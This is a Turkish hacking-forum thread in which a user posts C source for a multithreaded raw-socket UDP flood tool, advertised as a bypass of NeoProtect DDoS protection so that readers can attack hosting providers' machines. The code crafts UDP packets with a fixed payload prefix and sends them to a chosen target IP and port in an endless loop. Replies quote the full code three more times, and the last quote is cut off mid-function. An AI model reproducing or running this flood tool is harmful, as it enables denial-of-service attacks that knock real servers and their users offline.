exploit paylaşım grubumuz: t.me/HTTPwnn

NEOPROTECT Bypass - Made by Essen

  • Konu başlatıcı Konu başlatıcı Essen
  • Başlangıç Tarihi Başlangıç Tarihi

Essen

WarNight Member
Katılım
14 Haz 2026
Mesaj
19
Reaksiyon
28
Puan
13
xentr_thread_starter
SelamunAleyküm Çoğu hosting koruma olarak neoprotect kullanıyor ve bende neoprotecti bypassladım bu sayede korumlarını atlayarak makinelerine saldırabilirsiniz


C:
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0xaaf219b4
#define NEW_PAYLOAD_SIZE 1400

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
unsigned int ip_id_counter = 12345;
static char DiscordPayload[] = "\x13\x37\xca\xfe\x01\x00\x00\x00";
static const int ORIGINAL_PAYLOAD_SIZE = sizeof(DiscordPayload) - 1;

void print_ip(int ip)
{
    unsigned char bytes[4];
    bytes[0] = ip & 0xFF;
    bytes[1] = (ip >> 8) & 0xFF;
    bytes[2] = (ip >> 16) & 0xFF;
    bytes[3] = (ip >> 24) & 0xFF;
    printf("%d.%d.%d.%d\n", bytes[3], bytes[2], bytes[1], bytes[0]);
}
//
void init_rand(unsigned long int x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
        Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}

unsigned long int rand_cmwc(void)
{
    unsigned long long int t, a = 18782LL;
    static unsigned long int i = 4095;
    unsigned long int x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c)
    {
        x++;
        c++;
    }
    return (Q[i] = r - x);
}

unsigned short csum(unsigned short *buf, int count)
{
    register unsigned long sum = 0;
    while (count > 1)
    {
        sum += *buf++;
        count -= 2;
    }
    if (count > 0)
    {
        sum += *(unsigned char *)buf;
    }
    while (sum >> 16)
    {
        sum = (sum & 0xffff) + (sum >> 16);
    }
    return (unsigned short)(~sum);
}
unsigned short udp_checksum(struct iphdr *iph, struct udphdr *udph, int payload_len)
{
    struct udp_pseudo
    {
        unsigned int src_addr;
        unsigned int dst_addr;
        unsigned char zero;
        unsigned char protocol;
        unsigned short udp_length;
    } pseudo_header;
    unsigned short total_len = iph->tot_len;
    pseudo_header.src_addr = iph->saddr;
    pseudo_header.dst_addr = iph->daddr;
    pseudo_header.zero = 0;
    pseudo_header.protocol = IPPROTO_UDP;
    pseudo_header.udp_length = htons(sizeof(struct udphdr) + payload_len);
    int totaludp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr) + payload_len;
    unsigned short *udp = malloc(totaludp_len);
    if (!udp)
    {
        perror("malloc failed");
        exit(-1);
    }
    memcpy((unsigned char *)udp, &pseudo_header, sizeof(struct udp_pseudo));
    memcpy((unsigned char *)udp + sizeof(struct udp_pseudo), (unsigned char *)udph, sizeof(struct udphdr) + payload_len);
    unsigned short output = csum(udp, totaludp_len);
    free(udp);
    return output;
}
int randnum(int min_num, int max_num)
{
    int result = 0, low_num = 0, hi_num = 0;

    if (min_num < max_num)
    {
        low_num = min_num;
        hi_num = max_num + 1;
    }
    else
    {
        low_num = max_num + 1;
        hi_num = min_num;
    }

    result = (rand_cmwc() % (hi_num - low_num)) + low_num;
    return result;
}

void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + NEW_PAYLOAD_SIZE;
    iph->id = htonl(12345 + rand_cmwc() % 65535);
    iph->frag_off = 0;
    iph->ttl = 128;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("8.8.8.8");
}

void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(54321);
    udph->dest = htons(floodport);
    udph->check = 0;
    udph->len = htons(sizeof(struct udphdr) + NEW_PAYLOAD_SIZE);
}
char *payloadGen(char *oldPayload, int size, int startingPoint)
{
    char *payload = (char *)malloc(size);
    for (int i = 0; i < size; i++)
    {
        if (i < ORIGINAL_PAYLOAD_SIZE && i < size)
        {
            payload[i] = oldPayload[i];
        }
        else
        {
            payload[i] = rand_cmwc() % 256;
        }
    }
    for (int i = startingPoint; i < size; i++)
    {
        payload[i] = rand_cmwc() % 256;
    }
    return payload;
}
uint32_t util_external_addr(void)
{
    int fd;
    struct sockaddr_in addr;
    socklen_t addr_len = sizeof (addr);

    if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
    {
        return 0;
    }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = (htonl((8 << 24) | (8 << 16) | (8 << 8) | (8 << 0)));
    addr.sin_port = htons(53);

    connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));

    getsockname(fd, (struct sockaddr *)&addr, &addr_len);
    close(fd);
    return addr.sin_addr.s_addr;
}
void *flood(void *par1)
{
    char *td = (char *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
    char *payload = (char *)udph + sizeof(struct udphdr);

    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(54321);
    sin.sin_addr.s_addr = inet_addr(td);

    int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    if (s < 0)
    {
        fprintf(stderr, "Could not open raw socket.\n");
        exit(-1);
    }
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);

    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum((unsigned short *)datagram, iph->tot_len);

    int tmp = 1;
    const int *val = &tmp;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
    {
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;

    while (1)
    {
        char *new_payload = payloadGen(DiscordPayload, NEW_PAYLOAD_SIZE, ORIGINAL_PAYLOAD_SIZE);
        memcpy(payload, new_payload, NEW_PAYLOAD_SIZE);
        free(new_payload);

        iph->id = htonl(ip_id_counter + rand_cmwc());
        iph->saddr = util_external_addr();
        iph->ttl = randnum(64, 255);
        iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + NEW_PAYLOAD_SIZE;
        iph->check = csum((unsigned short *)datagram, iph->tot_len);
        udph->check = 0;
        udph->source = htons(randnum(50000, 64734));
        udph->len = htons(sizeof(struct udphdr) + NEW_PAYLOAD_SIZE);
        iph->check = csum((unsigned short *)datagram, sizeof(struct iphdr));
        udph->check = udp_checksum(iph, udph, NEW_PAYLOAD_SIZE);
        while (1)
        {
           sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin));
           pps++;
        }

        if (i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
        ip_id_counter++;
    }
}

int main(int argc, char *argv[])
{
    if (argc < 5)
    {
        fprintf(stderr, "Neoprotect bypass by Essen\n");
        fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for full power> <time> \n", argv[0]);
        exit(-1);
    }

    int num_threads = atoi(argv[3]);
    int maxpps = atoi(argv[4]);
    int duration = atoi(argv[5]);

    floodport = atoi(argv[2]);

    limiter = 0;
    pps = 0;
    pthread_t thread[num_threads];

    int multiplier = 20;

    int i;
    for (i = 0; i < num_threads; i++)
    {
        pthread_create(&thread[i], NULL, &flood, (void *)argv[1]);
    }
    fprintf(stdout, "YEET!\n");
    for (i = 0; i < (duration * multiplier); i++)
    {
        usleep((1000 / multiplier) * 1000);
        if ((pps * multiplier) > maxpps)
        {
            if (1 > limiter)
            {
                sleeptime += 100;
            }
            else
            {
                limiter--;
            }
        }
        else
        {
            limiter++;
            if (sleeptime > 25)
            {
                sleeptime -= 25;
            }
            else
            {
                sleeptime = 0;
            }
        }
        pps = 0;
    }

    return 0;
}
 
SelamunAleyküm Çoğu hosting koruma olarak neoprotect kullanıyor ve bende neoprotecti bypassladım bu sayede korumlarını atlayarak makinelerine saldırabilirsiniz


C:
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0xaaf219b4
#define NEW_PAYLOAD_SIZE 1400

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
unsigned int ip_id_counter = 12345;
static char DiscordPayload[] = "\x13\x37\xca\xfe\x01\x00\x00\x00";
static const int ORIGINAL_PAYLOAD_SIZE = sizeof(DiscordPayload) - 1;

void print_ip(int ip)
{
    unsigned char bytes[4];
    bytes[0] = ip & 0xFF;
    bytes[1] = (ip >> 8) & 0xFF;
    bytes[2] = (ip >> 16) & 0xFF;
    bytes[3] = (ip >> 24) & 0xFF;
    printf("%d.%d.%d.%d\n", bytes[3], bytes[2], bytes[1], bytes[0]);
}
//
void init_rand(unsigned long int x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
        Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}

unsigned long int rand_cmwc(void)
{
    unsigned long long int t, a = 18782LL;
    static unsigned long int i = 4095;
    unsigned long int x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c)
    {
        x++;
        c++;
    }
    return (Q[i] = r - x);
}

unsigned short csum(unsigned short *buf, int count)
{
    register unsigned long sum = 0;
    while (count > 1)
    {
        sum += *buf++;
        count -= 2;
    }
    if (count > 0)
    {
        sum += *(unsigned char *)buf;
    }
    while (sum >> 16)
    {
        sum = (sum & 0xffff) + (sum >> 16);
    }
    return (unsigned short)(~sum);
}
unsigned short udp_checksum(struct iphdr *iph, struct udphdr *udph, int payload_len)
{
    struct udp_pseudo
    {
        unsigned int src_addr;
        unsigned int dst_addr;
        unsigned char zero;
        unsigned char protocol;
        unsigned short udp_length;
    } pseudo_header;
    unsigned short total_len = iph->tot_len;
    pseudo_header.src_addr = iph->saddr;
    pseudo_header.dst_addr = iph->daddr;
    pseudo_header.zero = 0;
    pseudo_header.protocol = IPPROTO_UDP;
    pseudo_header.udp_length = htons(sizeof(struct udphdr) + payload_len);
    int totaludp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr) + payload_len;
    unsigned short *udp = malloc(totaludp_len);
    if (!udp)
    {
        perror("malloc failed");
        exit(-1);
    }
    memcpy((unsigned char *)udp, &pseudo_header, sizeof(struct udp_pseudo));
    memcpy((unsigned char *)udp + sizeof(struct udp_pseudo), (unsigned char *)udph, sizeof(struct udphdr) + payload_len);
    unsigned short output = csum(udp, totaludp_len);
    free(udp);
    return output;
}
int randnum(int min_num, int max_num)
{
    int result = 0, low_num = 0, hi_num = 0;

    if (min_num < max_num)
    {
        low_num = min_num;
        hi_num = max_num + 1;
    }
    else
    {
        low_num = max_num + 1;
        hi_num = min_num;
    }

    result = (rand_cmwc() % (hi_num - low_num)) + low_num;
    return result;
}

void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + NEW_PAYLOAD_SIZE;
    iph->id = htonl(12345 + rand_cmwc() % 65535);
    iph->frag_off = 0;
    iph->ttl = 128;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("8.8.8.8");
}

void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(54321);
    udph->dest = htons(floodport);
    udph->check = 0;
    udph->len = htons(sizeof(struct udphdr) + NEW_PAYLOAD_SIZE);
}
char *payloadGen(char *oldPayload, int size, int startingPoint)
{
    char *payload = (char *)malloc(size);
    for (int i = 0; i < size; i++)
    {
        if (i < ORIGINAL_PAYLOAD_SIZE && i < size)
        {
            payload[i] = oldPayload[i];
        }
        else
        {
            payload[i] = rand_cmwc() % 256;
        }
    }
    for (int i = startingPoint; i < size; i++)
    {
        payload[i] = rand_cmwc() % 256;
    }
    return payload;
}
uint32_t util_external_addr(void)
{
    int fd;
    struct sockaddr_in addr;
    socklen_t addr_len = sizeof (addr);

    if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
    {
        return 0;
    }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = (htonl((8 << 24) | (8 << 16) | (8 << 8) | (8 << 0)));
    addr.sin_port = htons(53);

    connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));

    getsockname(fd, (struct sockaddr *)&addr, &addr_len);
    close(fd);
    return addr.sin_addr.s_addr;
}
void *flood(void *par1)
{
    char *td = (char *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
    char *payload = (char *)udph + sizeof(struct udphdr);

    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(54321);
    sin.sin_addr.s_addr = inet_addr(td);

    int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    if (s < 0)
    {
        fprintf(stderr, "Could not open raw socket.\n");
        exit(-1);
    }
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);

    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum((unsigned short *)datagram, iph->tot_len);

    int tmp = 1;
    const int *val = &tmp;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
    {
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;

    while (1)
    {
        char *new_payload = payloadGen(DiscordPayload, NEW_PAYLOAD_SIZE, ORIGINAL_PAYLOAD_SIZE);
        memcpy(payload, new_payload, NEW_PAYLOAD_SIZE);
        free(new_payload);

        iph->id = htonl(ip_id_counter + rand_cmwc());
        iph->saddr = util_external_addr();
        iph->ttl = randnum(64, 255);
        iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + NEW_PAYLOAD_SIZE;
        iph->check = csum((unsigned short *)datagram, iph->tot_len);
        udph->check = 0;
        udph->source = htons(randnum(50000, 64734));
        udph->len = htons(sizeof(struct udphdr) + NEW_PAYLOAD_SIZE);
        iph->check = csum((unsigned short *)datagram, sizeof(struct iphdr));
        udph->check = udp_checksum(iph, udph, NEW_PAYLOAD_SIZE);
        while (1)
        {
           sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin));
           pps++;
        }

        if (i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
        ip_id_counter++;
    }
}

int main(int argc, char *argv[])
{
    if (argc < 5)
    {
        fprintf(stderr, "Neoprotect bypass by Essen\n");
        fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for full power> <time> \n", argv[0]);
        exit(-1);
    }

    int num_threads = atoi(argv[3]);
    int maxpps = atoi(argv[4]);
    int duration = atoi(argv[5]);

    floodport = atoi(argv[2]);

    limiter = 0;
    pps = 0;
    pthread_t thread[num_threads];

    int multiplier = 20;

    int i;
    for (i = 0; i < num_threads; i++)
    {
        pthread_create(&thread[i], NULL, &flood, (void *)argv[1]);
    }
    fprintf(stdout, "YEET!\n");
    for (i = 0; i < (duration * multiplier); i++)
    {
        usleep((1000 / multiplier) * 1000);
        if ((pps * multiplier) > maxpps)
        {
            if (1 > limiter)
            {
                sleeptime += 100;
            }
            else
            {
                limiter--;
            }
        }
        else
        {
            limiter++;
            if (sleeptime > 25)
            {
                sleeptime -= 25;
            }
            else
            {
                sleeptime = 0;
            }
        }
        pps = 0;
    }

    return 0;
}
e.s knk
 
SelamunAleyküm Çoğu hosting koruma olarak neoprotect kullanıyor ve bende neoprotecti bypassladım bu sayede korumlarını atlayarak makinelerine saldırabilirsiniz


C:
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0xaaf219b4
#define NEW_PAYLOAD_SIZE 1400

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
unsigned int ip_id_counter = 12345;
static char DiscordPayload[] = "\x13\x37\xca\xfe\x01\x00\x00\x00";
static const int ORIGINAL_PAYLOAD_SIZE = sizeof(DiscordPayload) - 1;

void print_ip(int ip)
{
    unsigned char bytes[4];
    bytes[0] = ip & 0xFF;
    bytes[1] = (ip >> 8) & 0xFF;
    bytes[2] = (ip >> 16) & 0xFF;
    bytes[3] = (ip >> 24) & 0xFF;
    printf("%d.%d.%d.%d\n", bytes[3], bytes[2], bytes[1], bytes[0]);
}
//
void init_rand(unsigned long int x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
        Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}

unsigned long int rand_cmwc(void)
{
    unsigned long long int t, a = 18782LL;
    static unsigned long int i = 4095;
    unsigned long int x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c)
    {
        x++;
        c++;
    }
    return (Q[i] = r - x);
}

unsigned short csum(unsigned short *buf, int count)
{
    register unsigned long sum = 0;
    while (count > 1)
    {
        sum += *buf++;
        count -= 2;
    }
    if (count > 0)
    {
        sum += *(unsigned char *)buf;
    }
    while (sum >> 16)
    {
        sum = (sum & 0xffff) + (sum >> 16);
    }
    return (unsigned short)(~sum);
}
unsigned short udp_checksum(struct iphdr *iph, struct udphdr *udph, int payload_len)
{
    struct udp_pseudo
    {
        unsigned int src_addr;
        unsigned int dst_addr;
        unsigned char zero;
        unsigned char protocol;
        unsigned short udp_length;
    } pseudo_header;
    unsigned short total_len = iph->tot_len;
    pseudo_header.src_addr = iph->saddr;
    pseudo_header.dst_addr = iph->daddr;
    pseudo_header.zero = 0;
    pseudo_header.protocol = IPPROTO_UDP;
    pseudo_header.udp_length = htons(sizeof(struct udphdr) + payload_len);
    int totaludp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr) + payload_len;
    unsigned short *udp = malloc(totaludp_len);
    if (!udp)
    {
        perror("malloc failed");
        exit(-1);
    }
    memcpy((unsigned char *)udp, &pseudo_header, sizeof(struct udp_pseudo));
    memcpy((unsigned char *)udp + sizeof(struct udp_pseudo), (unsigned char *)udph, sizeof(struct udphdr) + payload_len);
    unsigned short output = csum(udp, totaludp_len);
    free(udp);
    return output;
}
int randnum(int min_num, int max_num)
{
    int result = 0, low_num = 0, hi_num = 0;

    if (min_num < max_num)
    {
        low_num = min_num;
        hi_num = max_num + 1;
    }
    else
    {
        low_num = max_num + 1;
        hi_num = min_num;
    }

    result = (rand_cmwc() % (hi_num - low_num)) + low_num;
    return result;
}

void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + NEW_PAYLOAD_SIZE;
    iph->id = htonl(12345 + rand_cmwc() % 65535);
    iph->frag_off = 0;
    iph->ttl = 128;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("8.8.8.8");
}

void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(54321);
    udph->dest = htons(floodport);
    udph->check = 0;
    udph->len = htons(sizeof(struct udphdr) + NEW_PAYLOAD_SIZE);
}
char *payloadGen(char *oldPayload, int size, int startingPoint)
{
    char *payload = (char *)malloc(size);
    for (int i = 0; i < size; i++)
    {
        if (i < ORIGINAL_PAYLOAD_SIZE && i < size)
        {
            payload[i] = oldPayload[i];
        }
        else
        {
            payload[i] = rand_cmwc() % 256;
        }
    }
    for (int i = startingPoint; i < size; i++)
    {
        payload[i] = rand_cmwc() % 256;
    }
    return payload;
}
uint32_t util_external_addr(void)
{
    int fd;
    struct sockaddr_in addr;
    socklen_t addr_len = sizeof (addr);

    if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
    {
        return 0;
    }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = (htonl((8 << 24) | (8 << 16) | (8 << 8) | (8 << 0)));
    addr.sin_port = htons(53);

    connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));

    getsockname(fd, (struct sockaddr *)&addr, &addr_len);
    close(fd);
    return addr.sin_addr.s_addr;
}
void *flood(void *par1)
{
    char *td = (char *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
    char *payload = (char *)udph + sizeof(struct udphdr);

    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(54321);
    sin.sin_addr.s_addr = inet_addr(td);

    int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    if (s < 0)
    {
        fprintf(stderr, "Could not open raw socket.\n");
        exit(-1);
    }
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);

    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum((unsigned short *)datagram, iph->tot_len);

    int tmp = 1;
    const int *val = &tmp;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
    {
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;

    while (1)
    {
        char *new_payload = payloadGen(DiscordPayload, NEW_PAYLOAD_SIZE, ORIGINAL_PAYLOAD_SIZE);
        memcpy(payload, new_payload, NEW_PAYLOAD_SIZE);
        free(new_payload);

        iph->id = htonl(ip_id_counter + rand_cmwc());
        iph->saddr = util_external_addr();
        iph->ttl = randnum(64, 255);
        iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + NEW_PAYLOAD_SIZE;
        iph->check = csum((unsigned short *)datagram, iph->tot_len);
        udph->check = 0;
        udph->source = htons(randnum(50000, 64734));
        udph->len = htons(sizeof(struct udphdr) + NEW_PAYLOAD_SIZE);
        iph->check = csum((unsigned short *)datagram, sizeof(struct iphdr));
        udph->check = udp_checksum(iph, udph, NEW_PAYLOAD_SIZE);
        while (1)
        {
           sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin));
           pps++;
        }

        if (i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
        ip_id_counter++;
    }
}

int main(int argc, char *argv[])
{
    if (argc < 5)
    {
        fprintf(stderr, "Neoprotect bypass by Essen\n");
        fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for full power> <time> \n", argv[0]);
        exit(-1);
    }

    int num_threads = atoi(argv[3]);
    int maxpps = atoi(argv[4]);
    int duration = atoi(argv[5]);

    floodport = atoi(argv[2]);

    limiter = 0;
    pps = 0;
    pthread_t thread[num_threads];

    int multiplier = 20;

    int i;
    for (i = 0; i < num_threads; i++)
    {
        pthread_create(&thread[i], NULL, &flood, (void *)argv[1]);
    }
    fprintf(stdout, "YEET!\n");
    for (i = 0; i < (duration * multiplier); i++)
    {
        usleep((1000 / multiplier) * 1000);
        if ((pps * multiplier) > maxpps)
        {
            if (1 > limiter)
            {
                sleeptime += 100;
            }
            else
            {
                limiter--;
            }
        }
        else
        {
            limiter++;
            if (sleeptime > 25)
            {
                sleeptime -= 25;
            }
            else
            {
                sleeptime = 0;
            }
        }
        pps = 0;
    }

    return 0;
}
es
 
SelamunAleyküm Çoğu hosting koruma olarak neoprotect kullanıyor ve bende neoprotecti bypassladım bu sayede korumlarını atlayarak makinelerine saldırabilirsiniz


C:
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0xaaf219b4
#define NEW_PAYLOAD_SIZE 1400

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
unsigned int ip_id_counter = 12345;
static char DiscordPayload[] = "\x13\x37\xca\xfe\x01\x00\x00\x00";
static const int ORIGINAL_PAYLOAD_SIZE = sizeof(DiscordPayload) - 1;

void print_ip(int ip)
{
    unsigned char bytes[4];
    bytes[0] = ip & 0xFF;
    bytes[1] = (ip >> 8) & 0xFF;
    bytes[2] = (ip >> 16) & 0xFF;
    bytes[3] = (ip >> 24) & 0xFF;
    printf("%d.%d.%d.%d\n", bytes[3], bytes[2], bytes[1], bytes[0]);
}
//
void init_rand(unsigned long int x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
        Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}

unsigned long int rand_cmwc(void)
{
    unsigned long long int t, a = 18782LL;
    static unsigned long int i = 4095;
    unsigned long int x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c)
    {
        x++;
        c++;
    }
    return (Q[i] = r - x);
}

unsigned short csum(unsigned short *buf, int count)
{
    register unsigned long sum = 0;
    while (count > 1)
    {
        sum += *buf++;
        count -= 2;
    }
    if (count > 0)
    {
        sum += *(unsigned char *)buf;
    }
    while (sum >> 16)
    {
        sum = (sum & 0xffff) + (sum >> 16);
    }
    return (unsigned short)(~sum);
}
unsigned short udp_checksum(struct iphdr *iph, struct udphdr *udph, int payload_len)
{
    struct udp_pseudo
    {
        unsigned int src_addr;
        unsigned int dst_addr;
        unsigned char zero;
        unsigned char protocol;
        unsigned short udp_length;
    } pseudo_header;
    unsigned short total_len = iph->tot_len;
    pseudo_header.src_addr = iph->saddr;
    pseudo_header.dst_addr = iph->daddr;
    pseudo_header.zero = 0;
    pseudo_header.protocol = IPPROTO_UDP;
    pseudo_header.udp_length = htons(sizeof(struct udphdr) + payload_len);
    int totaludp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr) + payload_len;
    unsigned short *udp = malloc(totaludp_len);
    if (!udp)
    {
        perror("malloc failed");
        exit(-1);
    }
    memcpy((unsigned char *)udp, &pseudo_header, sizeof(struct udp_pseudo));
    memcpy((unsigned char *)udp + sizeof(struct udp_pseudo), (unsigned char *)udph, sizeof(struct udphdr) + payload_len);
    unsigned short output = csum(udp, totaludp_len);
    free(udp);
    return output;
}
int randnum(int min_num, int max_num)
{
    int result = 0, low_num = 0, hi_num = 0;

    if (min_num < max_num)
    {
        low_num = min_num;
        hi_num = max_num + 1;
    }
    else
    {
        low_num = max_num + 1;
        hi_num = min_num;
    }

    result = (rand_cmwc() % (hi_num - low_num)) + low_num;
    return result;
}

void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + NEW_PAYLOAD_SIZE;
    iph->id = htonl(12345 + rand_cmwc() % 65535);
    iph->frag_off = 0;
    iph->ttl = 128;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("8.8.8.8");
}

void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(54321);
    udph->dest = htons(floodport);
    udph->check = 0;
    udph->len = htons(sizeof(struct udphdr) + NEW_PAYLOAD_SIZE);
}
char *payloadGen(char *oldPayload, int size, int startingPoint)
{
    char *payload = (char *)malloc(size);
    for (int i = 0; i < size; i++)
    {
        if (i < ORIGINAL_PAYLOAD_SIZE && i < size)
        {
            payload[i] = oldPayload[i];
        }
        else
        {
            payload[i] = rand_cmwc() % 256;
        }
    }
    for (int i = startingPoint; i < size; i++)
    {
        payload[i] = rand_cmwc() % 256;
    }
    return payload;
}
uint32_t util_external_addr(void)
{
    int fd;
    struct sockaddr_in addr;
    socklen_t addr_len = sizeof (addr);

    if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
    {
        return 0;
    }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = (htonl((8 << 24) | (8 << 16) | (8 << 8) | (8 << 0)));
    addr.sin_port = htons(53);

    connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));

    getsockname(fd, (struct sockaddr *)&addr, &addr_len);
    close(fd);
    return addr.sin_addr.s_addr;
}
void *flood(void *par1)
{
    char *td = (char *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
    char *payload = (char *)udph + sizeof(struct udphdr);

    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(54321);
    sin.sin_addr.s_addr = inet_addr(td);

